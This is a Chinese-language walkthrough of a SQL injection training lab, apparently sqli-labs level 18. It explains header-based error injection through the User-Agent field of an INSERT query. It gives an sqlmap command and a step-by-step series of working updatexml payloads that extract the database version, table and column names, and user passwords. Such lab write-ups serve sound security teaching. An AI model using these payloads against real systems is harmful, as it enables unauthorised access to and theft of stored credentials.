知识点
$_SERVER['HTTP_USER_AGENT']。
这是用来检查浏览页面的访问者在用什么浏览器.
其中需要检查用户的 agent 字符串,它是浏览器发送的 HTTP 请求的一部分。
如:var_dump($_SERVER['HTTP_USER_AGENT']);
输出:string(65) "Mozilla/5.0 (Windows NT 6.1; rv:12.0)
Gecko/20100101 Fire
通过查看源码看到,是一个insert的语句,我们通过构造updatexml xpath错误信息来返回数据
insert也是和update差不多,是一个插入数据
通过构造User-Agent
payload-header:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
他爆出了我们的ip地址还有头部信息
第十八关
sqlmap方法:
针对于这一关我们也可以直接使用SQLmap来进行自动化注入:
首先,先将我们在bp中捕获的访问数据保存到1.txt文本中来,在使用SQLMAP进行注入
python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BTES
源码分析
可以看到这里定义了user_agent头部信息和IP地址
下边只输出了ip地址
然后下边有对uname和passwd都进行了过滤
查看以下查询语句是用什么进行连接的
很明显是用and来连接的
再看一下查询语句通过什么闭合的
可以看到ip和uagent都是通过单引号闭合的
所以突破点找到了
然后咱们查询语句不论是报错还是双查询语句都要从user_agent头部信息中进行执行
一、判断注入点
发现他爆错信息是User-Agent:里面的信息,所以测试语句要在这里面进行
所以我们要进行的闭合点是user_agent上
' and updatexml(1,concat(0x7e,(1),0x7e),1),1,1)#
闭合点找出来了,就进行构造payload
二、构造payload
1.爆版本信息
' and updatexml(1,concat(0x2c,(version()),0x2c),1),1,1)#
2.爆库
' and updatexml(1,concat(0x2c,(database()),0x2c),1),1,1)#
3.爆表
' and updatexml(1,concat(0x2c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x2c),1),1,1)#
4.爆字段
' and updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x2c),1),1,1)# (id)
' and updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x2c),1),1,1)# (username)
' and updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x2c),1),1,1)# (password)
5.爆数据
' and updatexml(1,concat(0x2c,(select username from users limit 0,1),0x2c),1),1,1)#
' and updatexml(1,concat(0x2c,(select password from users limit 0,1),0x2c),1),1,1)#